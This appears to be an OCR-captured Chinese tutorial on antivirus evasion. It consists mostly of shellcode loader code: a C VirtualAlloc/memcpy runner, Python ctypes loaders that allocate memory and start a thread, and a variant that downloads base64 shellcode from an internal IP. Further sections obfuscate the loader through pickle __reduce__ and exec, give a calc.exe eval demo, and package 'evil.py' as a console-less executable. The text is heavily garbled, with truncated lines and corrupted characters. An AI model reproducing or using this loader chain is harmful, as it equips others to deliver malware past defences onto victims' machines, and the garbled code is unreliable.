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#include "windows.h"

using namespace std;

int main(int argc, char **argv)

{

unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x¢
void *exec = VirtualAlloc(@, sizeof buf, MEM_COMMI
memcpy(exec, buf, sizeof buf);

(Cvoid(*)())exec);

return 0;
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" ConsoleApplication! exe
ConsoleApplication iobj
ConsoleApplication ipdb

& Consoleapplication] pdb
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#include "windows.h"
using namespace std;
int main(int argc, char** argv)

{
unsigned char buf[] = "";
void* exec = VirtualAlloc(@, sizeof buf, MEM_COMMI
memcpy(exec, buf, sizeof buf);
(Cvoid(*)()exec);
return 0;

}

® CongoleApplication? exe
ConsoleApplication.ioh)
ConsoleApplication.ipdt
£ ConscleApplication?.pdb
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import ctypes
shellcode = b""
shellcode += b"\xfc\x48\x83\xe4\xf@\xe8\xc8\x00\x00\x(
shellcode = bytearray(shellcode)
# ®EVirtualAllociREIZEEI N ctypes. c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.«
# HRIEANEF
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_ini
# K Ashellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(she
ctypes.windll.kernel32.Rt1MoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
D)
# BIE—1%FEMshellcodels LU E &I FIAHIT
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0@),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0@),
ctypes.pointer(ctypes.c_int(0))
)
# S LECIENERIZITR
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_ir
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class Shellcode(models.Model):
id = models.AutoField(primary_key=True)
hash_md5 = models.CharField(max_length = 200)
shellcode = models.TextField()
pub_date = models.DateTimeField(default=timezone.r
class Meta:
ordering = ('-pub_date',)
def __str__(self):
return self.shellcode
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Views

def showshellcode(request, hash_md5):
shellcode = Shellcode.objects.getChash_md5 = hash.
try:
if shellcode != None:
return render(request, 'shellcode.html', 1
except:
return redirect('/")

Urls



from django.contrib import admin
from django.urls import path
from auto_antiav_app.views import homepage,showshellc¢

urlpatterns = [
path('admin/', admin.site.urls),
path('', homepage),
path('shellcode/<str:hash_md5>"', showshellcode),
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import ctypes,urllib.request,base64,codecs,pickle
shellcode = urllib.request.urlopen('http://192.168.17:

shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[@]
shellcode = bytearray(shellcode)

# ZEVirtualAllociR[EIZEE g ctypes. c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.«
# HIEANF
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_ini
# K Ashellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(she
ctypes.windll.kernel32.Rt1MoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
D)
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uinte4(ptr),
ctypes.c_int(0@),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(@))
D)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_ir
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import pickle
class A(object):
a=1
b =2
def run(self):
print(self.a,self.b)
print(pickle.dumps(AQ)))

main__\nA\ng\xee)\x8lq\xel."’
in 0.1s]
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import pickle
class A(object):
a=1
b =2
def __reduce__(self):
return (print, (self.a+self.b,))
print(pickle.dumpsCA()))

print(pickle.dump

builtins\nprint\ng\x@eK\x@3\x85q \x01Rq\x82. "
1 @.1s]
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import pickle
ret = b"\x80\x03cbuiltins\nprint\ng\x00K\x03\x85q\x01f
pickle.loads(ret)
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import pickle
import base64
class A(object):

a=1

b =2

def __reduce__(self):

return (print, (self.a+self.b,))

ret = pickle.dumpsCAQ))
ret_base64 = base64.bo6dencode(ret)
print(ret_base64)
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import pickle

import base64

ret = b'gANjYnVpbHRpbnMKcHIpbnQKcQBLA4VXAVIXxAi4="
ret_decode = base64.bo64decode(ret)
pickle.loads(ret_decode)

ret
ret_de
pickle.loads(ret_i
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import pickle

import base64

import urllib.request,codecs

class A(object):
shellcode = urllib.request.urlopen('http://192.16¢
shellcode = base64.b64decode(shellcode)

shellcode =codecs.escape_decode(shellcode)[@]
def __reduce__(self):
return (bytearray, (self.shellcode,))
ret = pickle.dumpsCAQ))
ret_base64 = base64.b64encode(ret)
print(ret_base64)

ZIRBANRER EXX PR TRES AR = FR 5 L = E R
f,



import ctypes,urllib.request,base64,codecs,pickle

ret = b'gANjYnVpbHRpbnMKYn1@ZWFycmF5CnEAQn4DAADSSIPkS(
shellcode = pickle.loads(base64.b64decode(ret))
print(repr(shellcode))

0 EFR, BANNELERBRLIEERENN

urllib. request E’\Jiﬁﬁf, @%ﬁiﬁ—ﬁ\ltﬂ@/ﬁ%)ﬁE
BATE—LERIBAFNRE, ERRER—LFICAR
AOE)RR, XEBHATRIDMER eval() RREKRARLEISCI,

eval() RBARPIT—TFRFERER, HREIFREXNE.

FIaNBA VB EM—T BT ERNER, HIETREME
=R EXFIIHRITIRE,

import pickle
import base64
import os
class A(object):
def __reduce__(self):
returnCeval,("os.system('calc.exe')",))
ret = pickle.dumpsCAQ))
ret_base64 = base64.bb64encode(ret)
print(ret_base64)
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import pickle

import base64

import os

ret = b'gANjYnVpbHRpbnMKZXZhbApxAFgVAAAAb3Muc31zdGVK(
ret_decode = base64.b64decode(ret)
pickle.loads(ret_decode)

HnE - o X
= g o
M M M
T v = Y
CE C <= -

BE eval) TEHITZITHNRMERSAZ IO, WRE
XM A AR EIG N E SRS — TR ANT,
RKERINEESZ8E 5 PrIE, B(NIXERNTE
FIX—[alRR, {EA  exec()



exec PITHEFEFRBIXXEFFHNIPythoniEa, #HLETF eval, exec

XiF, BT AEERAINGIMRE. RIEFEES
N, AR, TETUERR, HOIMAIART
BAINERRMA T, B TEHA LR InEk=3 a5 A
exec() HATFRIIEHBHEITR,



import pickle

import base64

shellcode = """

import ctypes,urllib.request,codecs,base64

shellcode = urllib.request.urlopen('http://192.168.17:

shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[@]
shellcode = bytearray(shellcode)

# ®EVirtualAllociREIZEEI N ctypes. c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.¢
# HRIEANEF
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_ini
# K Ashellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(she
ctypes.windll.kernel32.Rt1MoveMemory(
ctypes.c_uinte4(ptr),
buf,
ctypes.c_int(len(shellcode))
D)
# BIE—1%FEMshellcodefs LU E &It FIAHIT
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0@),
ctypes.c_uinte4(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
D)
# S LECIENERIZITR
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_ir
class A(object):
def __reduce__(self):
return(exec,(shellcode,))
ret = pickle.dumpsCAQ))
ret_base64 = base64.b64encode(ret)
print(ret_base64)
ret_decode = base64.bo64decode(ret_base64)
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import base64,pickle
shellcode = b'gANjYnVpbHRpbnMKZXh1YwpxAFhfBAAACMLtcG9)y
pickle.loads(base64.b64decode(shellcode))
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Pyinstaller
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pyinstaller --noconsole --onefile evil.py -i 8.ico
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from distutils.core import setup
import pyZexe
setup(
options={
'py2exe': {
'optimize': 2,
'bundle_files': 1,
'compressed': True,
}!
3,
windows=[{"script": "evil.py", "icon_resources": |
zipfile=None,

v

FRN T <HITITE.
python setup.py pyZexe
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import base64,pickle,ctypes,urllib.request,codecs
shellcode = b'gANjYnVpbHRpbnMKZXh1YwpxAFhfBAAACMLtcG9)y
pickle.loads(base64.b64decode(shellcode))
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